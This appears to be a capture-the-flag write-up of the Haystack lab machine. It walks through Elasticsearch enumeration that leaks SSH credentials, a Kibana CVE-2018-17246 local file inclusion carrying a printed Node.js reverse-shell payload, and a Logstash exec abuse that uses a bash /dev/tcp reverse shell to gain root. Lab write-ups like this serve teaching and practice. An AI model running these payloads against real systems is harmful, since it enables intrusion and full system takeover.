On port 80 we get a an image with base64 encoded talking about key
On port 9200 we use elastic search to find credentials to ssh to the box and user flag
To escalate privileges, we use CVE-2018-17246 to get user kibana who has access to logstash which is running as root
Create a file based on the logstash configuration files and get a reverse shell as root
Nmap
nmap -sC -sV -p- 10.10.10.115 -oN nmap/Haystack
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-02 16:47 EST
Nmap scan report for 10.10.10.115
Host is up (0.039s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
| vulners:
| cpe:/a:openbsd:openssh:7.4:
| CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919
|_ CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 378.99 seconds
Enumeration
Checking Port 80
Checking the image
strings index.jpeg
# We get something encoded in base64
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
# Decoding it
echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
# Result
la aguja en el pajar es "clave"
Google Translate
Gobuster on port 80 did not returned anything. I also tried with different User Agent
gobuster dir -u http://10.10.10.115 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.115
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/03/02 17:11:52 Starting gobuster
===============================================================
===============================================================
2020/03/02 17:13:34 Finished
===============================================================
# Also tried with different user agent and nothinggobuster dir -u http://10.10.10.115 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -a Mozilla/5.0
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.115
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: Mozilla/5.0
[+] Timeout: 10s
===============================================================
2020/03/02 17:14:35 Starting gobuster
===============================================================
===============================================================
2020/03/02 17:16:15 Finished
===============================================================
Checking the indices we notice bank and quotes. The ?v after indices displays the headers
curl -s http://10.10.10.115:9200/_cat/indices?v
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
We can use the pretty parameter (discussed in the API documentation) to get a nice output of the JSON data.
From the output above, we can see there are 253 total hits, so we are going to use the size and _searchparameter we discussed (learned from the API documentation)
curl -s http://10.10.10.115:9200/quotes/_search?size=255 | jq . | grep -i clave
"quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
"quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
The following also worked, I got this from the API documentation on how to search:
I learned a lot about elasticsearch, so now its time to see what we got. Please note that the reason I am using the word "clave" is because we got that from the initial picture
Using ssh port forwarding to checkout what's running on that port.
# To execute the port forwarding on the same session, I do:
# ~C and hit enter
# Here I'm going to use local port on my Kali 5602 to forward the connection
# to Haystack over ssh to its port 5601
[security@haystack ~]$
ssh> -L 5602:127.0.0.1:5601
Forwarding port.
[security@haystack ~]$
Checking out port 5602, we notice it's running Kibana version 6.4.2
Google search on Kibana 6.4.2 takes to the following interesting GitHub page describing a CVE
Description: A Local File Inclusion on Kibana found by CyberArk Labs, the LFI can be use to execute a reverse shell on the Kibana server with the following payload:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
I used that code and modified it to get a reverse shell on my box. I placed the script in /dev/shm/ and I called it shell.js
To triggered the reverse shell, I used curl with the link in quotes to avoid bash from interpreting anything.
Basic Enumeration shows we have access to the logstash configurations.
find / -user root -group kibana -type f -ls 2>/dev/null
33914760 4 -rw-r----- 1 root kibana 109 jun 24 2019 /etc/logstash/conf.d/output.conf
33914752 4 -rw-r----- 1 root kibana 186 jun 24 2019 /etc/logstash/conf.d/input.conf
33914769 4 -rw-r----- 1 root kibana 131 jun 20 2019 /etc/logstash/conf.d/filter.conf
# Contents of the configuration files
# This is the input config
bash-4.2$ cat /etc/logstash/conf.d/input.conf
cat /etc/logstash/conf.d/input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
bash-4.2$
# This is the filter config
bash-4.2$ cat /etc/logstash/conf.d/filter.conf
cat /etc/logstash/conf.d/filter.conf
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
bash-4.2$
# This is the output config
bash-4.2$ cat /etc/logstash/conf.d/output.conf
cat /etc/logstash/conf.d/output.conf
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
bash-4.2$
Based on the configuration files, we should be able to create a file under the directory /opt/kibana and name the file logstash_{whatever you want here} using the following format on its contents:
Ejecutar comando : {whatever commands we want here}The \s on the filter.conf means a literal space.
Getting a reverse shell with root privileges since logstash is running as root.
# On my Kali box
rlwrap nc -lnvp 9009
# On haystack as user kibana, we execute the following command to create the file
echo “Ejecutar comando : bash -i >& /dev/tcp/10.10.14.20/9009 0>&1” > /opt/kibana/logstash_squid22
# We get a root shell
rlwrap nc -lnvp 9009
listening on [any] 9009 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.115] 49428
bash: no hay control de trabajos en este shell
[root@haystack /]# id
id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
[root@haystack /]#